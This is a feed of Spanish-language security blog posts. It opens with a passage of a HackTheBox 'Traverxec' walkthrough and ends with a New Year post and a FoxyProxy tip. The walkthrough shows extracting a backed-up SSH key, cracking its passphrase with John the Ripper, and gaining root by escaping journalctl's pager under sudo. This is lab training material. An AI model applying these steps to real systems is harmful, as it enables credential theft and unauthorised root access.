</span></span><span style="display:flex;"><span>drwxr-xr-x 2 david david 4096 Oct 25 17:02 protected-file-area
</span></span><span style="display:flex;"><span>www-data@traverxec:/usr/bin$ ls -la /home/david/public_www/protected-file-area
</span></span><span style="display:flex;"><span>ls -la /home/david/public_www/protected-file-area
</span></span><span style="display:flex;"><span>total 16
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 david david 4096 Oct 25 17:02 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 david david 4096 Oct 25 15:45 ..
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 david david   45 Oct 25 15:46 .htaccess
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 david david 1915 Oct 25 17:02 backup-ssh-identity-files.tgz
</span></span><span style="display:flex;"><span>www-data@traverxec:/usr/bin$ ls -la /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
</span></span><span style="display:flex;"><span>ls -la /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 david david 1915 Oct 25 17:02 /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
</span></span><span style="display:flex;"><span>www-data@traverxec:/usr/bin$ base64 /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
</span></span><span style="display:flex;"><span>base64 /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
</span></span><span style="display:flex;"><span>H4sIAANjs10AA+2YWc+jRhaG+5pf8d07HfYtV8O+Y8AYAzcROwabff/1425pNJpWMtFInWRm4uem
</span></span><span style="display:flex;"><span>gKJ0UL311jlF2T4zMI2Wewr+OI4l+Ol3AHpBQtCXFibxf2n/wScYxXGMIGCURD5BMELCyKcP/Pf4
</span></span><span style="display:flex;"><span>mG+ZxykaPj4+fZ2Df/Peb/X/j1J+o380T2U73I8s/bnO9vG7xPgiMIFhv6o/AePf6E9AxEt/6LtE
</span></span><span style="display:flex;"><span>/w3+4vq/NP88jNEH84JFzSPi4D1BhC+3PGMz7JfHjM2N/jAadgJdSVjy/NeVew4UGQkXbu02dzPh
</span></span><span style="display:flex;"><span>6hzE7jwt5h64paBUQcd5I85rZXhHBnNuFCo8CTsocnTcPbm7OkUttG1KrEJIcpKJHkYjRhzchYAl
</span></span><span style="display:flex;"><span>5rjjTeZjeoUIYKeUKaqyYuAo9kqTHEEYZ/Tq9ZuWNNLALUFTqotmrGRzcRQw8V1LZoRmvUIn84Yc
</span></span><span style="display:flex;"><span>rKakVOI4+iaJu4HRXcWH1sh4hfTIU5ZHKWjxIjo1BhV0YXTh3TCUWr5IerpwJh5mCVNtdTlybjJ2
</span></span><span style="display:flex;"><span>r53ZXvRbVaPNjecjp1oJY3s6k15TJWQY5Em5s0HyGrHE9tFJuIG3BiQuZbTa2WSSsJaEWHX1NhN9
</span></span><span style="display:flex;"><span>noI66mX+4+ua+ts0REs2bFkC/An6f+v/e/rzazl83xhfPf7r+z+KYsQ//Y/iL/9jMIS//f9H8PkL
</span></span><span style="display:flex;"><span>rCAp5odzYT4sR/EYV/jQhOBrD2ANbfLZ3bvspw/sB8HknMByBR7gBe2z0uTtTx+McPkMI9RnjuV+
</span></span><span style="display:flex;"><span>wEhSEESRZXBCpHmEQnkUo1/68jgPURwmAsCY7ZkM5pkE0+7jGhnpIocaiPT5TnXrmg70WJD4hpVW
</span></span><span style="display:flex;"><span>p6pUEM3lrR04E9Mt1TutOScB03xnrTzcT6FVP/T63GRKUbTDrNeedMNqjMDhbs3qsKlGl1IMA62a
</span></span><span style="display:flex;"><span>VDcvTl1tnOujN0A7brQnWnN1scNGNmi1bAmVOlO6ezxOIyFVViduVYswA9JYa9XmqZ1VFpudydpf
</span></span><span style="display:flex;"><span>efEKOOq1S0Zm6mQm9iNVoXVx9ymltKl8cM9nfWaN53wR1vKgNa9akfqus/quXU7j1aVBjwRk2ZNv
</span></span><span style="display:flex;"><span>GBmAgicWg+BrM3S2qEGcgqtun8iabPKYzGWl0FSQsIMwI+gBYnzhPC0YdigJEMBnQxp2u8M575gS
</span></span><span style="display:flex;"><span>Ttb3C0hLo8NCKeROjz5AdL8+wc0cWPsequXeFAIZW3Q1dqfytc+krtN7vdtY5KFQ0q653kkzCwZ6
</span></span><span style="display:flex;"><span>ktebbV5OatEvF5sO+CpUVvHBUNWmWrQ8zreb70KhCRDdMwgTcDBrTnggD7BV40hl0coCYel2tGCP
</span></span><span style="display:flex;"><span>qz5DVNU+pPQW8iYe+4iAFEeacFaK92dgW48mIqoRqY2U2xTH9IShWS4Sq7AXaATPjd/JjepWxlD3
</span></span><span style="display:flex;"><span>xWDduExncmgTLLeop/4OAzaiGGpf3mi9vo4YNZ4OEsmY8kE1kZAXzSmP7SduGCG4ESw3bxfzxoh9
</span></span><span style="display:flex;"><span>M1eYw+hV2hDAHSGLbHTqbWsuRojzT9s3hkFh51lXiUIuqmGOuC4tcXkWZCG/vkbHahurDGpmC465
</span></span><span style="display:flex;"><span>QH5kzORQg6fKD25u8eo5E+V96qWx2mVRBcuLGEzxGeeeoQOVxu0BH56NcrFZVtlrVhkgPorLcaip
</span></span><span style="display:flex;"><span>FsQST097rqEH6iS1VxYeXwiG6LC43HOnXeZ3Jz5d8TpC9eRRuPBwPiFjC8z8ncj9fWFY/5RhAvZY
</span></span><span style="display:flex;"><span>1bBlJ7kGzd54JbMspqfUPNde7KZigtS36aApT6T31qSQmVIApga1c9ORj0NuHIhMl5QnYOeQ6ydK
</span></span><span style="display:flex;"><span>DosbDNdsi2QVw6lUdlFiyK9blGcUvBAPwjGoEaA5dhC6k64xDKIOGm4hEDv04mzlN38RJ+esB1kn
</span></span><span style="display:flex;"><span>0ZlsipmJzcY4uyCOP+K8wS8YDF6BQVqhaQuUxntmugM56hklYxQso4sy7ElUU3p4iBfras5rLybx
</span></span><span style="display:flex;"><span>5lC2Kva9vpWRcUxzBGDPcz8wmSRaFsVfigB1uUfrGJB8B41Dtq5KMm2yhzhxcAYJl5fz4xQiRDP5
</span></span><span style="display:flex;"><span>1jEzhXMFQEo6ihUnhNc0R25hTn0Qpf4wByp8N/mdGQRmPmmLF5bBI6jKiy7mLbI76XmW2CfN+IBq
</span></span><span style="display:flex;"><span>mVm0rRDvU9dVihl7v0I1RmcWK2ZCYZe0KSRBVnCt/JijvovyLdiQBDe6AG6cgjoBPnvEukh3ibGF
</span></span><span style="display:flex;"><span>d+Y2jFh8u/ZMm/q5cCXEcCHTMZrciH6sMoRFFYj3mxCr8zoz8w3XS6A8O0y4xPKsbNzRZH3vVBds
</span></span><span style="display:flex;"><span>Mp0nVIv0rOC3OtfgTH8VToU/eXl+JhaeR5+Ja+pwZ885cLEgqV9sOL2z980ytld9cr8/naK4ronU
</span></span><span style="display:flex;"><span>pOjDYVkbMcz1NuG0M9zREGPuUJfHsEa6y9kAKjiysZfjPJ+a2baPreUGga1d1TG35A7mL4R9SuII
</span></span><span style="display:flex;"><span>FBvJDLdSdqgqkSnIi8wLRtDTBHhZ0NzFK+hKjaPxgW7LyAY1d3hic2jVzrrgBBD3sknSz4fT3irm
</span></span><span style="display:flex;"><span>6Zqg5SFeLGgaD67A12wlmPwvZ7E/O8v+9/LL9d+P3Rx/vxj/0fmPwL7Uf19+F7zrvz+A9/nvr33+
</span></span><span style="display:flex;"><span>e/PmzZs3b968efPmzZs3b968efPmzf8vfweR13qfACgAAA==
</span></span></code></pre></div><p>Copiamos y pegamos dentro de un archivo local. Acto seguido, descomprimamos el archivo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ vim backup-ssh-identity-files.tgz.b64
</span></span><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ base64 -d backup-ssh-identity-files.tgz.b64 &gt; backup-ssh-identity-files.tgz
</span></span><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ file backup-ssh-identity-files.tgz
</span></span><span style="display:flex;"><span>backup-ssh-identity-files.tgz: gzip compressed data, last modified: Fri Oct 25 21:02:59 2019, from Unix, original size modulo 2^32 10240
</span></span><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ tar tfz backup-ssh-identity-files.tgz
</span></span><span style="display:flex;"><span>home/david/.ssh/
</span></span><span style="display:flex;"><span>home/david/.ssh/authorized_keys
</span></span><span style="display:flex;"><span>home/david/.ssh/id_rsa
</span></span><span style="display:flex;"><span>home/david/.ssh/id_rsa.pub
</span></span><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ tar xfz backup-ssh-identity-files.tgz
</span></span><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ ssh -i home/david/.ssh/id_rsa david@10.10.10.165
</span></span><span style="display:flex;"><span>Enter passphrase for key &#39;home/david/.ssh/id_rsa&#39;:
</span></span><span style="display:flex;"><span>Enter passphrase for key &#39;home/david/.ssh/id_rsa&#39;:
</span></span><span style="display:flex;"><span>Enter passphrase for key &#39;home/david/.ssh/id_rsa&#39;:
</span></span><span style="display:flex;"><span>david@10.10.10.165&#39;s password:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$
</span></span></code></pre></div><p>Como podemos ver, no pudimos establecer la conexión debido a que necesitamos credenciales para acceder a la llave privada de david, así que, hagamos un poco de fuerza bruta contra esta protección:</p>
<h2 id="crack-the-ssh-key-password">Crack the ssh key password</h2>
<p>JohnTheRipper tiene un script en python para obtener el hash correspondiente a la protección de contraseña que se da en RSA. Ejecutamos este script contra el backup y obtenemos el siguiente hash:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ ~/git/JohnTheRipper/run/ssh2john.py home/david/.ssh/id_rsa
</span></span><span style="display:flex;"><span>home/david/.ssh/id_rsa:$sshng$1$16$477EEFFBA56F9D283D349033D5D08C4F$1200$b1ec9e1ff7de1b5f5395468c76f1d92bfdaa7f2f29c3076bf6c83be71e213e9249f186ae856a2b08de0b3c957ec1f086b6e8813df672f993e494b90e9de220828aee2e45465b8938eb9d69c1e9199e3b13f0830cde39dd2cd491923c424d7dd62b35bd5453ee8d24199c733d261a3a27c3bc2d3ce5face868cfa45c63a3602bda73f08e87dd41e8cf05e3bb917c0315444952972c02da4701b5da248f4b1725fc22143c7eb4ce38bb81326b92130873f4a563c369222c12f2292fac513f7f57b1c75475b8ed8fc454582b1172aed0e3fcac5b5850b43eee4ee77dbedf1c880a27fe906197baf6bd005c43adbf8e3321c63538c1abc90a79095ced7021cbc92ffd1ac441d1dd13b65a98d8b5e4fb59ee60fcb26498729e013b6cff63b29fa179c75346a56a4e73fbcc8f06c8a4d5f8a3600349bb51640d4be260aaf490f580e3648c05940f23c493fd1ecb965974f464dea999865cfeb36408497697fa096da241de33ffd465b3a3fab925703a8e3cab77dc590cde5b5f613683375c08f779a8ec70ce76ba8ecda431d0b121135512b9ef486048052d2cfce9d7a479c94e332b92a82b3d609e2c07f4c443d3824b6a8b543620c26a856f4b914b38f2cfb3ef6780865f276847e09fe7db426e4c319ff1e810aec52356005aa7ba3e1100b8dd9fa8b6ee07ac464c719d2319e439905ccaeb201bae2c9ea01e08ebb9a0a9761e47b841c47d416a9db2686c903735ebf9e137f3780b51f2b5491e50aea398e6bba862b6a1ac8f21c527f852158b5b3b90a6651d21316975cd543709b3618de2301406f3812cf325d2986c60fdb727cadf3dd17245618150e010c1510791ea0bec870f245bf94e646b72dc9604f5acefb6b28b838ba7d7caf0015fe7b8138970259a01b4793f36a32f0d379bf6d74d3a455b4dd15cda45adcfdf1517dca837cdaef08024fca3a7a7b9731e7474eddbdd0fad51cc7926dfbaef4d8ad47b1687278e7c7474f7eab7d4c5a7def35bfa97a44cf2cf4206b129f8b28003626b2b93f6d01aea16e3df597bc5b5138b61ea46f5e1cd15e378b8cb2e4ffe7995b7e7e52e35fd4ac6c34b716089d599e2d1d1124edfb6f7fe169222bc9c6a4f0b6731523d436ec2a15c6f147c40916aa8bc6168ccedb9ae263aaac078614f3fc0d2818dd30a5a113341e2fcccc73d421cb711d5d916d83bfe930c77f3f99dba9ed5cfcee020454ffc1b3830e7a1321c369380db6a61a757aee609d62343c80ac402ef8abd56616256238522c57e8db245d3ae1819bd01724f35e6b1c340d7f14c066c0432534938f5e3c115e120421f4d11c61e802a0796e6aaa5a7f1631d9ce4ca58d67460f3e5c1cdb2c5f6970cc598805abb386d652a0287577c453a159bfb76c6ad4daf65c07d386a3ff9ab111b26ec2e02e5b92e184e44066f6c7b88c42ce77aaa918d2e2d3519b4905f6e2395a47cad5e2cc3b7817b557df3babc30f799c4cd2f5a50b9f48fd06aaf435762062c4f331f989228a6460814c1c1a777795104143630dc16b79f51ae2dd9e008b4a5f6f52bb4ef38c8f5690e1b426557f2e068a9b3ef5b4fe842391b0af7d1e17bfa43e71b6bf16718d67184747c8dc1fcd1568d4b8ebdb6d55e62788553f4c69d128360b407db1d278b5b417f4c0a38b11163409b18372abb34685a30264cdfcf57655b10a283ff0
</span></span><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ ~/git/JohnTheRipper/run/ssh2john.py home/david/.ssh/id_rsa &gt; sshkey.hash
</span></span></code></pre></div><p>Ahora ejecutamos <code>JTR</code> contra este hash utilizando como diccionario <strong>rockyou.txt</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ ~/git/JohnTheRipper/run/john sshkey.hash --wordlist=/home/tony/wl/rockyou.txt2
</span></span><span style="display:flex;"><span>Note: This format may emit false positives, so it will keep trying even after finding a
</span></span><span style="display:flex;"><span>possible candidate.
</span></span><span style="display:flex;"><span>Warning: detected hash type &#34;SSH&#34;, but the string is also recognized as &#34;ssh-opencl&#34;
</span></span><span style="display:flex;"><span>Use the &#34;--format=ssh-opencl&#34; option to force loading these as that type instead
</span></span><span style="display:flex;"><span>Using default input encoding: UTF-8
</span></span><span style="display:flex;"><span>Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
</span></span><span style="display:flex;"><span>Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
</span></span><span style="display:flex;"><span>Cost 2 (iteration count) is 1 for all loaded hashes
</span></span><span style="display:flex;"><span>Will run 8 OpenMP threads
</span></span><span style="display:flex;"><span>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status
</span></span><span style="display:flex;"><span>hunter           (home/david/.ssh/id_rsa)
</span></span><span style="display:flex;"><span>1g 0:00:00:07 3.91% (ETA: 22:54:46) 0.1347g/s 87210p/s 87210c/s 87210C/s imtihan..imporio
</span></span><span style="display:flex;"><span>Session aborted
</span></span></code></pre></div><p>Como resultado, encontramos que la protección es <em>hunter</em>.</p>
<blockquote>
<p>id_rsa:hunter</p>
</blockquote>
<h2 id="ssh-as-david-again">SSH as David (again)</h2>
<p>Ahora si, nos conectamos como david utilizando la llave:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>tony@laptop:~/htb/traverxec$ ssh -i home/david/.ssh/id_rsa david@10.10.10.165
</span></span><span style="display:flex;"><span>Enter passphrase for key &#39;home/david/.ssh/id_rsa&#39;:
</span></span><span style="display:flex;"><span>Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
</span></span><span style="display:flex;"><span>david@traverxec:~$ id
</span></span><span style="display:flex;"><span>uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
</span></span></code></pre></div><p>Perfecto, ahora que hemos entrado como david, observaremos que en el home se encuentra el archivo <strong>user.txt</strong>.</p>
<h1 id="usertxt">user.txt</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>david@traverxec:~$ cat user.txt
</span></span><span style="display:flex;"><span>&lt;miau&gt;
</span></span></code></pre></div><h1 id="privilege-escalation">Privilege Escalation</h1>
<p>Ahora que somos david, tratemos de subir desde este usuario a root.</p>
<h2 id="from-david-to-root">from david to root</h2>
<p>Lo primero que nos llama la atención es la existencia de la carpeta bin, asi que listemos su contenido:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>david@traverxec:~$ ls bin
</span></span><span style="display:flex;"><span>server-stats.head  server-stats.sh
</span></span><span style="display:flex;"><span>david@traverxec:~$ cat bin/server-stats.head
</span></span><span style="display:flex;"><span>                                                                          .----.
</span></span><span style="display:flex;"><span>                                                              .---------. | == |
</span></span><span style="display:flex;"><span>   Webserver Statistics and Data                              |.-&#34;&#34;&#34;&#34;&#34;-.| |----|
</span></span><span style="display:flex;"><span>         Collection Script                                    ||       || | == |
</span></span><span style="display:flex;"><span>          (c) David, 2019                                     ||       || |----|
</span></span><span style="display:flex;"><span>                                                              |&#39;-.....-&#39;| |::::|
</span></span><span style="display:flex;"><span>                                                              &#39;&#34;&#34;)---(&#34;&#34;&#39; |___.|
</span></span><span style="display:flex;"><span>                                                             /:::::::::::\&#34;    &#34;
</span></span><span style="display:flex;"><span>                                                            /:::=======:::\
</span></span><span style="display:flex;"><span>                                                        jgs &#39;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#39;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>david@traverxec:~$ cat bin/server-stats.sh
</span></span><span style="display:flex;"><span>#!/bin/bash
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cat /home/david/bin/server-stats.head
</span></span><span style="display:flex;"><span>echo &#34;Load: `/usr/bin/uptime`&#34;
</span></span><span style="display:flex;"><span>echo &#34; &#34;
</span></span><span style="display:flex;"><span>echo &#34;Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`&#34;
</span></span><span style="display:flex;"><span>echo &#34;Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`&#34;
</span></span><span style="display:flex;"><span>echo &#34; &#34;
</span></span><span style="display:flex;"><span>echo &#34;Last 5 journal log lines:&#34;
</span></span><span style="display:flex;"><span>/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
</span></span></code></pre></div><p>Esta ultima linea resulta sumamente interesante, ya que nos indica la existencia de que podemos ejecutar journalctl como root. Probemos para verificar de los dos modos. Primero tratemos de obtener los comandos validos vía sudo para david:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>david@traverxec:~$ sudo -l
</span></span><span style="display:flex;"><span>[sudo] password for david:
</span></span><span style="display:flex;"><span>Sorry, try again.
</span></span><span style="display:flex;"><span>[sudo] password for david:
</span></span><span style="display:flex;"><span>Sorry, try again.
</span></span><span style="display:flex;"><span>[sudo] password for david:
</span></span><span style="display:flex;"><span>sudo: 3 incorrect password attempts
</span></span><span style="display:flex;"><span>david@traverxec:~$
</span></span></code></pre></div><p>Sorpresa, no tenemos la contraseña de david. Ahora tratemos de ejecutar el comando tal cual aparece en el script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
</span></span><span style="display:flex;"><span>-- Logs begin at Fri 2020-03-20 23:50:48 EDT, end at Sat 2020-03-21 00:58:16 EDT. --
</span></span><span style="display:flex;"><span>Mar 20 23:50:52 traverxec nhttpd[442]: started
</span></span><span style="display:flex;"><span>Mar 20 23:50:52 traverxec nhttpd[442]: max. file descriptors = 1040 (cur) / 1040 (max)
</span></span><span style="display:flex;"><span>Mar 20 23:50:52 traverxec systemd[1]: Started nostromo nhttpd server.
</span></span><span style="display:flex;"><span>Mar 21 00:38:39 traverxec su[819]: pam_unix(su-l:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost=  user=david
</span></span><span style="display:flex;"><span>Mar 21 00:38:41 traverxec su[819]: FAILED SU (to david) www-data on none
</span></span></code></pre></div><p>El comando se ejecuta sin problemas. Probemos ahora cambiar un parámetro para aumentar el numero de lineas listadas por journalctl:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n10 -unostromo.service
</span></span><span style="display:flex;"><span>[sudo] password for david:
</span></span><span style="display:flex;"><span>^Csudo: 1 incorrect password attempt
</span></span></code></pre></div><p>Recibimos un error ya que el comando explícitamente permitido, especifica también el parámetro <code>-n5</code>.</p>
<p>Ahora, si revisamos <a href="https://gtfobins.github.io/gtfobins/journalctl/#sudo">https://gtfobins.github.io/gtfobins/journalctl/#sudo</a> observaremos que para tener acceso completo al ambiente desde donde se ejecuta sudo, el ambiente de root, debemos escapar del pager (/bin/less) que atrapa la salida del comando y se encarga de desplegar cuando el buffer es saturado.</p>
<p>Para hacer el trigger de este evento, la manera fácil, consiste en reducir el tamaño de la ventana donde estamos trabajando a 5 o menos lineas, y ejecutar el comando con sudo. De esta manera al leerse la capacidad de la shell desde donde se ejecuta, el pager entregara la salida por <code>paginas</code>. Como <code>-n5</code> se refiere a solo desplegar 5 lineas, ajustamos este tamaño para forzar el pager.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
</span></span><span style="display:flex;"><span>-- Logs begin at Fri 2020-03-20 23:50:48 EDT, end at Sat 2020-03-21 01:06:49 EDT. --
</span></span><span style="display:flex;"><span>Mar 20 23:50:52 traverxec nhttpd[442]: started
</span></span><span style="display:flex;"><span>!/bin/bash
</span></span><span style="display:flex;"><span>root@traverxec:/home/david# id
</span></span><span style="display:flex;"><span>uid=0(root) gid=0(root) groups=0(root)
</span></span><span style="display:flex;"><span>root@traverxec:/home/david#
</span></span></code></pre></div><p>Ya que escapemos del pager como root via <code>!/bin/bash</code>, podemos hacer el resize de la ventana y ejecutar reset.</p>
<h1 id="roottxt">root.txt</h1>
<p>Ahora solo realizamos un cat de la flag, y acabamos con esta maquina.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@traverxec:/home/david# cat /root/root.txt
</span></span><span style="display:flex;"><span>&lt;miau&gt;
</span></span></code></pre></div><hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>2020, Happy New Year</title><link>https://www.xbyte.mx/posts/2020-happy-new-year/</link><pubDate>Mon, 20 Jan 2020 06:29:33 -0600</pubDate><guid>https://www.xbyte.mx/posts/2020-happy-new-year/</guid><description>&lt;p&gt;Hola estimado lector.&lt;/p&gt;
&lt;p&gt;Primero y antes que nada, si llegaste a leer esta entrada, muchas gracias por el interés y feliz año nuevo! (o en su caso si llegaste en el futuro, espero que el año 2020 haya sido tu año). Decidí escribirte un poco sobre mis resoluciones de este 2020 para que estés un poco más informado sobre lo que va a estar cambiando en este blog durante este año. Te dejo aquí una pequeña lista de los cambios:&lt;/p&gt;</description><content type="html"><![CDATA[<p>Hola estimado lector.</p>
<p>Primero y antes que nada, si llegaste a leer esta entrada, muchas gracias por el interés y feliz año nuevo! (o en su caso si llegaste en el futuro, espero que el año 2020 haya sido tu año). Decidí escribirte un poco sobre mis resoluciones de este 2020 para que estés un poco más informado sobre lo que va a estar cambiando en este blog durante este año. Te dejo aquí una pequeña lista de los cambios:</p>
<ul>
<li>
<p><strong>Más writeups de HackTheBox.</strong> A inicios del año pasado, empecé con una mecánica semanal donde estuve escribiendo mucho sobre HTB y la verdad es que lo disfrutaba mucho, pero conforme paso mas y mas el tiempo, empeze a tener otros intereses por lo que reste tiempo a resolver y escribir las soluciones de la maquinas. Lo que decidi para este apartado, es escribir un poco mas sobre HTB enfocandome este primer Quarter a las maquinas retiradas, para continuar con las activas en mi camino hacia &ldquo;Guru&rdquo;.</p>
</li>
<li>
<p><strong>Consejos y tips.</strong> La verdad es que hace muchos años un amigo comenzó un blog o recetario que me agrado bastante por el concepto que manejaba, el blog se titulaba &ldquo;Como carajos?&rdquo;. La idea fue dejar una especie de wiki donde ibamos colocando nuestras recetas para temas que despues se nos olvidaban. Quiero tomar el concepto y compartir un poco más mi metodologia e ideas de como usar algunas herramientas. Tambien compartir las ideas de amigos y otros entusiastas de la seguridad.</p>
</li>
<li>
<p><strong>Nuevo tema.</strong> Acabo de cambiar el tema que tenia el blog por uno más sencillo y claro, porque al final del día, se trata de que sea fácil de leer.</p>
</li>
<li>
<p><strong>OSCP.</strong> Actualmente me encuentro haciendo los laboratorios del OSCP, es por eso que abandone un poco el blog. Como muchos otros escritores técnicos, estaré escribiendo mi camino hacia esta certificación, ya sea que pase o no el examen en el primer intento, trataré de compartir mis observaciones y tips en este pequeño espacio.</p>
</li>
</ul>
<p>Sin mas por el momento, les agradezco como siempre llegar hasta el final de esta entrada.</p>
<p>Feliz año nuevo!</p>
]]></content></item><item><title>Foxyproxy Tricks: Proxies by patterns and order</title><link>https://www.xbyte.mx/posts/foxyproxy-tricks/</link><pubDate>Sat, 09 Nov 2019 08:46:24 -0600</pubDate><guid>https://www.xbyte.mx/posts/foxyproxy-tricks/</guid><description>&lt;p&gt;Esta es una entrada rápida, una referencia a una practica que puede ayudarnos a no perder enfoque en el objetivo y distraernos con &amp;ldquo;Deje habilitado el proxy?&amp;rdquo; o &amp;ldquo;Necesito apagar el proxy para buscar algo en internet&amp;rdquo;.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Esta es una entrada rápida, una referencia a una practica que puede ayudarnos a no perder enfoque en el objetivo y distraernos con &ldquo;Deje habilitado el proxy?&rdquo; o &ldquo;Necesito apagar el proxy para buscar algo en internet&rdquo;.</p>
<p>Foxyproxy es un plugin de firefox muy popular que nos permite definir la configuración de varios proxies, de manera tal que con darle un click su icono podemos alternar entre diferentes perfiles. Una característica que me llamo la atención cuando lo estuve explorando más a detalle fue la de &ldquo;Use Enabled Proxies By Patterns and Order&rdquo;:</p>
<p><img src="/img/foxyproxy-tricks/options1.png" alt="Menú de opciones"></p>
<blockquote>
<p>En mi caso, tengo configurado ya BurpSuite en su configuración por defecto <code>127.0.0.1:8080</code>.</p>
</blockquote>
<p>Si seleccionamos esta opción, como su nombre lo dice tomara el orden como primer valor de arriba hacia abajo para seleccionar entre los diferentes perfiles de proxy definidos y evaluará en cada perfil los patrones asociados a cada perfil.</p>
<p>Seleccionemos en este caso, patrones para el perfil de BurpSuite:</p>
<p><img src="/img/foxyproxy-tricks/options2.png" alt="Editando la configuración global"></p>
<p>La ventana de patterns luce de la siguiente manera:</p>
<p><img src="/img/foxyproxy-tricks/patterns1.png" alt="Patterns"></p>
<p>El scope que estaré manejando para BurpSuite sera el de hackthebox. ¿Cual es el scope tradicionalmente? Direcciones ip 10.10.10.X y dominios *.htb</p>
<p>Todo lo que no este dentro del scope lo ignorare por lo que únicamente aplicare whitelist y lo demás pasará al proxy Default. El proxy Default tiene habilitado mandarle el trafico al navegador, por lo que la conexión seria de acuerdo a la configuración del navegador.</p>
<p>Seleccionamos &ldquo;New White&rdquo;, le agregamos el nombre de &ldquo;domains&rdquo; y el pattern de &ldquo;*.htb&rdquo;:</p>
<p><img src="/img/foxyproxy-tricks/patterns2.png" alt="Patterns - Wildcard"></p>
<p>Agregaremos ahora una regex para las direcciones IP cambiando únicamente de type &ldquo;wildcard&rdquo; a &ldquo;regex&rdquo;:</p>
<p><img src="/img/foxyproxy-tricks/patterns3.png" alt="Patterns - RegEx"></p>
<p>La expresión regular solo aceptara direcciones ip validas y lo enviara a Burp.</p>
<p>Una vez configurado, guardamos los cambios con el boton &ldquo;Save&rdquo; y probamos nuestra configuración en abriendo una nueva pestaña. Como se puede ver por la siguiente imagen, aparece &ldquo;Defa&rdquo; en la parte superior, indicando que el perfil Default esta habilitado.</p>
<p><img src="/img/foxyproxy-tricks/test1.png" alt="Nueva Pestaña"></p>
<blockquote>
<p>Dato cultural; ¿porqué aparece Default si no he abierto ninguna pagina? Porque detect portal esta habilitado en mi navegador tratando de identificar un portal cautivo.</p>
</blockquote>
<p>Ahora vemos en acción esta configuración:</p>
<p><img src="/img/foxyproxy-tricks/foxyproxy1.gif" alt="Foxyproxy en acción"></p>
<p>Si tenemos dudas sobre las regex o el wildcard que estamos ingresando, siempre podemos usar el &ldquo;pattern tester&rdquo; que tenemos a lado derecho y validar varios casos.</p>
<hr>
